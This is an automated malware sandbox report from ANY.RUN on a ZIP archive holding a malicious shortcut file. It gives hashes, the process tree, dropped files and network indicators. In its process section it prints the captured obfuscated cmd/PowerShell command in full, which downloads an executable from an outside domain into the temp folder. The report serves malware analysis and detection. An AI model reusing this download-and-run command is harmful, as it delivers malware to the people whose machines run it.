analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

da576cfc9877dcb2fa70e5c483ad4484deba54593eb04a7f5c77a92c6d23d5eb

Full analysis: https://app.any.run/tasks/34c74e9c-ff51-479f-9b61-baf90406fb91
Verdict: Malicious activity
Analysis date: May 20, 2019, 21:15:28
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

CC6C707710783B54E19A81ED3B4A9667

SHA1:

B5E1EA3204D54D28AF47D2599D6F7D385FE7734D

SHA256:

DA576CFC9877DCB2FA70E5C483AD4484DEBA54593EB04A7F5C77A92C6D23D5EB

SSDEEP:

3072:oXANmZO3D55ZYnKtWf6Rv0S5AbGZYJDlejEjvEH0y6nRy9dKZ4gf52sqTxgQdRm:oLOHZT5R0S4JJj7o0/7Z4m5ix7O

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2304)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2788)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2788)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 3172)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0808
ZipCompression: Deflated
ZipModifyDate: 2019:05:20 16:31:09
ZipCRC: 0xcd3efbf2
ZipCompressedSize: 163177
ZipUncompressedSize: 187485
ZipFileName: GFHN-939742469.lnk
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs cmd.exe no specs powershell.exe wordpad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3172"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\da576cfc9877dcb2fa70e5c483ad4484deba54593eb04a7f5c77a92c6d23d5eb.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
2304"C:\Windows\System32\cmd.exe" /C set o=HttPs:/&powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"&"C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.syS&C:\Users\admin\AppData\Local\Temp/d&J34HH&E34JSH_d+&dfC:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2788powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3044"C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.sySC:\Program Files\wiNDows nt\accESsorIes\wordpad.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Wordpad Application
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
685
Read events
593
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
2788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UJP22RER43NQ58NKRZY5.temp —
MD5:—
SHA256:—
2788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
2788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1223cc.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
2788powershell.exeC:\Users\admin\AppData\Local\Temp\D.exeexecutable
MD5:E6DBE5E47DAB3B586A10F9B2BFD4312A
SHA256:A742DD1829BF43E23262D378D8E5219C5C9DA60C28BBC3C063274AAD4B961171
3172WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa3172.46681\GFHN-939742469.lnklnk
MD5:9C5584EED66DFE44DE094D3B09F9BA0A
SHA256:792FC471B8B66024E3752F619B5D8B15D094E926138FEE85CC9FD51926FB32F3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2788
powershell.exe
68.66.248.28:443
www.braintrainersuk.com
A2 Hosting, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
www.braintrainersuk.com
  • 68.66.248.28
malicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
da576cfc9877dcb2fa70e5c483ad4484deba54593eb04a7f5c77a92c6d23d5eb